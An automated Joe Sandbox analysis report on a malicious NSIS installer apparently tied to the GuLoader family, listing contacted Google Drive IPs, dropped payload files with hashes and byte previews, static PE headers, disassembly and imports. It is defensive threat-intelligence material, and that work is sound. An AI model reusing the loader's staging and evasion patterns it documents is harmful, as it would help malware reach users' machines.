fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.186.161	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
172.217.18.14	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587610
Start date and time:	2025-01-10 15:37:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fTSt7dc60O.exe renamed because original name is a hash value
Original Sample Name:	2eaf30511cb438075facb1d59f944a6ddedf3aa5c2620e0916a150f5415983bb.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@3/10@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 90% Number of executed functions: 48 Number of non-executed functions: 76
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target fTSt7dc60O.exe, PID 4640 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:36:40	API Interceptor	43x Sleep call for process: fTSt7dc60O.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	nRNzqQOQwk.exe	Get hash	malicious	GuLoader	Browse	142.250.186.161 172.217.18.14
	You7ynHizy.exe	Get hash	malicious	GuLoader	Browse	142.250.186.161 172.217.18.14
	Xjz8dblHDe.exe	Get hash	malicious	GuLoader	Browse	142.250.186.161 172.217.18.14
	zrNcqxZRSM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	142.250.186.161 172.217.18.14
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	142.250.186.161 172.217.18.14
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.161 172.217.18.14
	FIWszl1A8l.exe	Get hash	malicious	GhostRat	Browse	142.250.186.161 172.217.18.14
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	142.250.186.161 172.217.18.14
	n41dQbiw1Y.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.186.161 172.217.18.14

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse
	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse
	Purchase-Order27112024.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse
	563299efce875400a8d9b44b96597c8e-sample (1).zip	Get hash	malicious	Unknown	Browse
	debit-note-19-08-dn-2024.exe	Get hash	malicious	GuLoader	Browse
	debit-note-19-08-dn-2024.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\BooConf.ini

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	45
Entropy (8bit):	4.7748605961854445
Encrypted:	false
SSDEEP:	3:FR3tWAAQLQIfLBJXlFGfv:/ktQkIPeH
MD5:	8B9FC0443D7E48145E2D4B37AFB2D37B
SHA1:	64A5718A478A38AC262D2E46DA81D0E88C122A0F
SHA-256:	4F743978EAD44260F895C983689D718E31CA826161C447D205021A9D3E010AFA
SHA-512:	5126DA1D29F662465241C8B51B95783DF3F88C8FEB8BB1B65DCF354738C48AAB4BFB6C0035DFE6B40FA03AE5AABA8F72F1C31343AEC7D4EDB9C6EBCC773CC3D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[ReBoot]..Ac=user32::EnumWindows(i r2 ,i 0)..

C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.656006343879828
Encrypted:	false
SSDEEP:	192:eP24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35OlbSl:T8QIl975eXqlWBrz7YLOlb
MD5:	3E6BF00B3AC976122F982AE2AADB1C51
SHA1:	CAAB188F7FDC84D3FDCB2922EDEEB5ED576BD31D
SHA-256:	4FF9B2678D698677C5D9732678F9CF53F17290E09D053691AAC4CC6E6F595CBE
SHA-512:	1286F05E6A7E6B691F6E479638E7179897598E171B52EB3A3DC0E830415251069D29416B6D1FFC6D7DCE8DA5625E1479BE06DB9B7179E7776659C5C1AD6AA706
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ME-SPC-94.03.60.175.07.exe, Detection: malicious, Browse Filename: 09-FD-94.03.60.175.07.xlsx.exe, Detection: malicious, Browse Filename: TEC-SPC-94.03.60.175.07.exe, Detection: malicious, Browse Filename: ME-SPC-94.03.60.175.07.exe, Detection: malicious, Browse Filename: 09-FD-94.03.60.175.07.xlsx.exe, Detection: malicious, Browse Filename: TEC-SPC-94.03.60.175.07.exe, Detection: malicious, Browse Filename: Purchase-Order27112024.scr.exe, Detection: malicious, Browse Filename: 563299efce875400a8d9b44b96597c8e-sample (1).zip, Detection: malicious, Browse Filename: debit-note-19-08-dn-2024.exe, Detection: malicious, Browse Filename: debit-note-19-08-dn-2024.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L....n3T...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsd9394.tmp

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	1217498
Entropy (8bit):	3.427451882823274
Encrypted:	false
SSDEEP:	6144:fP7xZKjyqa1PPe9DvJ4usQC5ZQR9dzrDG4Eu/Oi9g9p0AJ2aJ4aKh:fP7x2y91u9vJCQC/QTdS48XoPh
MD5:	1AFBA10167DB501871718FBB45009140
SHA1:	A299CE179AEA09CB1A26E3CC024CC4CEC13A8C45
SHA-256:	C778E9D379CCF47CCF6BC317BE52D78BDCDE1FB9CC7D5718D3EAD96EA46D46AC
SHA-512:	44C9E6396620CEA8DF3EA340B408DA126007B4AE162CC5F37C2C763FE3F010F3A58DC1761255ED74501FF45A7D6A9ACB43091B9A0ACB0E719C2C51B9867B76A2
Malicious:	false
Reputation:	low
Preview:	r.......,...................[...................r...........................................................................................................................................................................................................................................G...J...........k...j...........................................................................................................................................3...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmc.ini

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.110577243331642
Encrypted:	false
SSDEEP:	3:iGAeTUHvn:lAeTUHv
MD5:	F6A80CF0B011E1638B38D8EAA2A9629B
SHA1:	30AB7FEEC5D0A304ED9908ADD562601E3E7118C3
SHA-256:	AB3B162F39F8FDBD8DD767791EC116E75DA198FCE6BABBA6E1677044678714D8
SHA-512:	E1EC33696EA5086DEA0A52B577442B96124B71CD09999637185D114B7E5F313D455560C350F5A02FBA83C5A3A12A5234EEC995D0AF0CBF64471B3887E2AA2ED8
Malicious:	false
Reputation:	low
Preview:	[Access]..Setting=Disabled..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Contiguousness.Rit

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	309738
Entropy (8bit):	7.516382939689266
Encrypted:	false
SSDEEP:	6144:yZKjyqa1PPe9DvJ4usQC5ZQR9dzrDG4Eu/O9:y2y91u9vJCQC/QTdS489
MD5:	C2E2BE2ACF5991EC7009DDC5D8B361DF
SHA1:	FC1C8390F2BA0E997B7AD4AD30CFBBF1B181B695
SHA-256:	E3738968906D3EDADA7CD870CCEB2882FED2FEFA0610B8AE063E9F8457F2A118
SHA-512:	5C103560D7948C5208C54401E2C20B1066D8DE27F63BBD73FCA28DD52AA44780B8F8F9A02D1F0039F0792630E1CE99B3BF09ADE271540543D95D63ABABDDC7B4
Malicious:	false
Preview:	...OOO.~...RRR.............FFF......FF.vv................VV...........s..............DDD.............99......__....``...................ww.t....7.{..%%.Q.....``.......................>...........UU..........[..PPPPPP.......=====...EE.Y.p......................k....ooo..............................Q.................%%................................P................_.h.......a.. .<.....a........\.......KKKK.....,..55..................'.......................#..........H....hhh.............ss.g.nn.JJJ..............#.........222..........[[[................C..................................N.q...q.........,,,,,............^..........W......z...p.......................9........................,,,,,,.0..KK.......^^....................NN....................@@@@.@@.&&.LL....!!!..............EEE............2222.........``....0.......YY.'.!............................#..................xx.........C.9.....................<<<........//...,....,,........E....99............HH.....................mm

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Havrnes117.For

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	27357
Entropy (8bit):	4.575459332843998
Encrypted:	false
SSDEEP:	768:67lqhYoAunEaZqOMl7D28MUQ7iM5DFTmD:6M2oznsJn0UQ7/5DFK
MD5:	91B75B6174DE619A40B45FB2247B3AFD
SHA1:	F9126CD2CC8244372E46F31C81C46932E083EE2F
SHA-256:	EA87B1D2A30A008F82A07E61A71B936521D74FC0818AAA7E364CC99A2198608C
SHA-512:	41BDD3F1941B419184E685A548E97AAFDFFE411D122176F5AD931CCB933CD4A8A784F842DE1A46BF4082222968A5679F8A6B92C74E6BE26BE3BE0B20C56F84E4
Malicious:	false
Preview:	............**......ZZ......... ..x.........f........````.....................}}}....~.Y....ff.............._.............~~~.ZZZ................qqq............S......IIII......................i......U.......................pppp..............CCC.......PP...^......[..................... ...//............cc..........._.K.........00.......,,,,,,,,,,..............333.......zz....I..............8..u..........11.............................F......... .....--...........EEE.................F.666.............................................HH.............]....\|.....................;;;...........tttt..............XX..................Q........OOOOO.............LL...nn....XX.....X.......dd..............I.r..............MM...................8........<<.P.........._.q....))......::.H...'.................................>>>>>..............T..............].......{{...NNN...............9.....SSS.......(.pp.......................Y..3.................00....PP..<.......bb.................%%%%.r......d...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Impieties200.bjr

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	207998
Entropy (8bit):	1.2479248406208852
Encrypted:	false
SSDEEP:	768:tCENokMNjB1phztRILF3znwMWQZeRdtDL7xIC8GI82e/2awZ6aXmpeNhLvkoVtOX:e03p6cf0/e9ReE8H
MD5:	5C283F56F45AD89C5D82538EA09AC0F5
SHA1:	FA3736CF43F5841B9D4E28FF2024C17897EEF745
SHA-256:	D53EE062B5FA4EB7DED4A658B37B70DD6E90A581AF5BDE713169971AE249F605
SHA-512:	2B2516707050C5DFB7A8D9E151DEE98EDD44B59B08E0F19D301F80BFDE89129F47EC6079AC1E26F6D8C60AAFE2931A4D2BC720BEDD8149477810B0C8F558AD0A
Malicious:	false
Preview:	..(.................>............................................................................................................8....dq......................`..-..............................................g..........s...............................................................................................................................b...RE.b.........................................................................w..........................................................................................%............................P..........]...............:.........B..........................................4.......................................................................n...............................................................o................4..................y...9........#......................m.....z...........................................................K.....D..............m...........................>...................?.....................k.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\firsaarsfdselsdags.luv

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	443489
Entropy (8bit):	1.2463028275519636
Encrypted:	false
SSDEEP:	768:0B5HMEmj1BG+VGKVbkxUNjTj4Yl+ieTSrPb/1aKigAurLC2DVyTaL7B8IHBxCoxa:0kFoC4xKmYKV1tmGJJt0a+sWH0
MD5:	913964ACDFFFA24344A401D48E08C653
SHA1:	EE1E0AC79DA12D6439F9DF5B865347647473642A
SHA-256:	B3A4E2499F6A793497BAB8F5B6CC38462FD70F955308596ACFFF03D11F2F6ED4
SHA-512:	2AEBEB7DFFACF4150CCF6ED91EF5501B129331E5A2A4A465FC542562C52907FDA3990F7BE5F17B60854DE7FD34E6E2E873ED8C0DE6788964894890F69A9F261C
Malicious:	false
Preview:	..9............................................................2...................A.....................................................7...........................................................................g.......m..........................v.z.........9.........................K....................................................................................%...................:....................................................h...(... ..........]......]...........................-......................................................f......2.................d..........C...........................9.........._.....................L.......................................v..........................J...................\....................\|........................&......'....N.....................................o............................8.....................................................................................................n...................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\portitor.win

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	data
Category:	dropped
Size (bytes):	209062
Entropy (8bit):	1.2469617066336303
Encrypted:	false
SSDEEP:	768:aq+yDnL4aSptsfjJcMBkQnTum3yc5rUGLJTLAP6zp2R5O73XKymSRQoWgqVB7L+v:T7c811jBM9Y1qeu30oHw
MD5:	607886D87859E45164D2959809AB5367
SHA1:	4E86EB72512D4C9BE32304E3A12B499D6A86084B
SHA-256:	A05695DF251298ED2F35E2DFA2C4CF44D5BACCC391615FACD34FA6411BB43217
SHA-512:	A767C56234A265E17FE3D05A1218D628419E3B750E7D55DD5E2D57A847DBF7B72E10270A1D9D14D39D62BCEF38818DE54168AF87C2DE59FDBF503F0C382DA5DE
Malicious:	false
Preview:	...............................................i........A........5............................b.t....!......................J.........................&................../Z.........................................................\|........................T......^.................8...................D...............:..q......g.......................................................{........................p.................................................\|..............B......`..............................0...............................o.......................N.......................f........................p............^.............................................................................+..A......................k........@...........................()......g..................U...................d.......................f...............].LF...................................................................}.._............................8......................................7..

C:\Users\user\subacidity.lnk

Download File

Process:	C:\Users\user\Desktop\fTSt7dc60O.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	900
Entropy (8bit):	3.5128877462339747
Encrypted:	false
SSDEEP:	12:8wl0c0a/ledp8wXuQUlbq/JMRPbdpYmHbqjMRJNSkXg1MJsW+slmYalzJCN85v4U:8QudO/9Q6jd9a6Ooy3Nr24qy
MD5:	95B268D3221CF11045F707181993954F
SHA1:	DCBB6EFFDF3201BA96B6BCCF45988D9B91F05440
SHA-256:	E132240D5DD1D9A30CC74BF95A5560896E1257335665CE86B7089F21FDFA208D
SHA-512:	E3302FAAB83F85D601BDD7309078784F66B591B4F8C1DE0A3F0C7159174F4EE45CD9CBB0A96D2C7D8D49ACB291B7ADE50CECDED943BCE865C2D82D80FFE51A5F
Malicious:	false
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".f.1...........Common Files..J............................................C.o.m.m.o.n. .F.i.l.e.s.....b.2...........cutline.sil.H............................................c.u.t.l.i.n.e...s.i.l.......2.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.o.m.m.o.n. .F.i.l.e.s.\.c.u.t.l.i.n.e...s.i.l.J.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.T.e.m.p.l.a.t.e.s.\.t.y.p.h.l.o.s.t.o.m.y.........,...............$M....>M...EQ ..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.887380640693706
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fTSt7dc60O.exe
File size:	540'745 bytes
MD5:	0eecc852b848039da55141fb43dd01e2
SHA1:	9f1f57db9890e515dd132bc7d1157ef1a2ff0cad
SHA256:	2eaf30511cb438075facb1d59f944a6ddedf3aa5c2620e0916a150f5415983bb
SHA512:	74bb690253ce11bc69e783b1b12561678fb71470f42ee15a5280719503bfe6866693973e52022c26cb2a08616d53a7eeb2973c3763aeb1c9618c7cdf1529a5b5
SSDEEP:	12288:XRV78GLIlIYtQ5viB2XZptlrmp/jcnVCyd0ZjfMjhixmCGs7:IplJtQ5aBsl2jQoyd0Zj0sxzGs7
TLSH:	01B42304BCC2EC1EC58A5DF14BB6C6BAB17AFE26691025876F713E5F2C60BC1407D286
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L....n3T.................`.........Z3.......p....@

File Icon


Icon Hash:	0714262e34390f06

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x54336EB4 [Tue Oct 7 04:40:20 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D8h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+14h], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000009h
mov dword ptr [004292B8h], eax
call 00007FF0147C642Ah
mov dword ptr [00429204h], eax
push ebp
lea eax, dword ptr [esp+38h]
push 000002B4h
push eax
push ebp
push 004206A8h
call dword ptr [0040717Ch]
push 0040937Ch
push 00428200h
call 00007FF0147C6095h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FF0147C6083h
push ebp
call dword ptr [0040710Ch]
push 00000022h
mov dword ptr [00429200h], eax
pop edi
mov eax, ebx
cmp word ptr [00434000h], di
jne 00007FF0147C3519h
mov esi, edi
mov eax, 00434002h
push esi
push eax
call 00007FF0147C5AD3h
push eax
call dword ptr [00407240h]
mov ecx, eax
mov dword ptr [esp+1Ch], ecx
jmp 00007FF0147C360Bh
push 00000020h
pop edx
cmp ax, dx
jne 00007FF0147C3519h
inc ecx
inc ecx
cmp word ptr [ecx], dx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x132d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5ec6	0x6000	60ec0c4d80dd6821cdaced6135eddfd5	False	0.6593424479166666	data	6.438901783265187	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202f8	0x600	99cdd6cde9adee6bf3b24ee817b4574b	False	0.4830729166666667	data	3.8340327961758165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x20000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0x132d8	0x13400	6a5bbc33287fc34c026c3652aab40ca4	False	0.7685800527597403	data	6.977243320980138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4a448	0xb1b3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9923501351915763
RT_ICON	0x55600	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4311203319502075
RT_ICON	0x57ba8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.48053470919324576
RT_ICON	0x58c50	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5330490405117271
RT_ICON	0x59af8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5647540983606557
RT_ICON	0x5a480	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6353790613718412
RT_ICON	0x5ad28	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.5961981566820277
RT_ICON	0x5b3f0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3176829268292683
RT_ICON	0x5ba58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.42124277456647397
RT_ICON	0x5bfc0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6453900709219859
RT_ICON	0x5c428	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.4274193548387097
RT_ICON	0x5c710	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4651639344262295
RT_ICON	0x5c8f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5067567567567568
RT_DIALOG	0x5ca20	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5cb20	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5cc40	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5cd08	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5cd68	0xbc	data	English	United States	0.601063829787234
RT_VERSION	0x5ce28	0x1a4	data	English	United States	0.5642857142857143
RT_MANIFEST	0x5cfd0	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
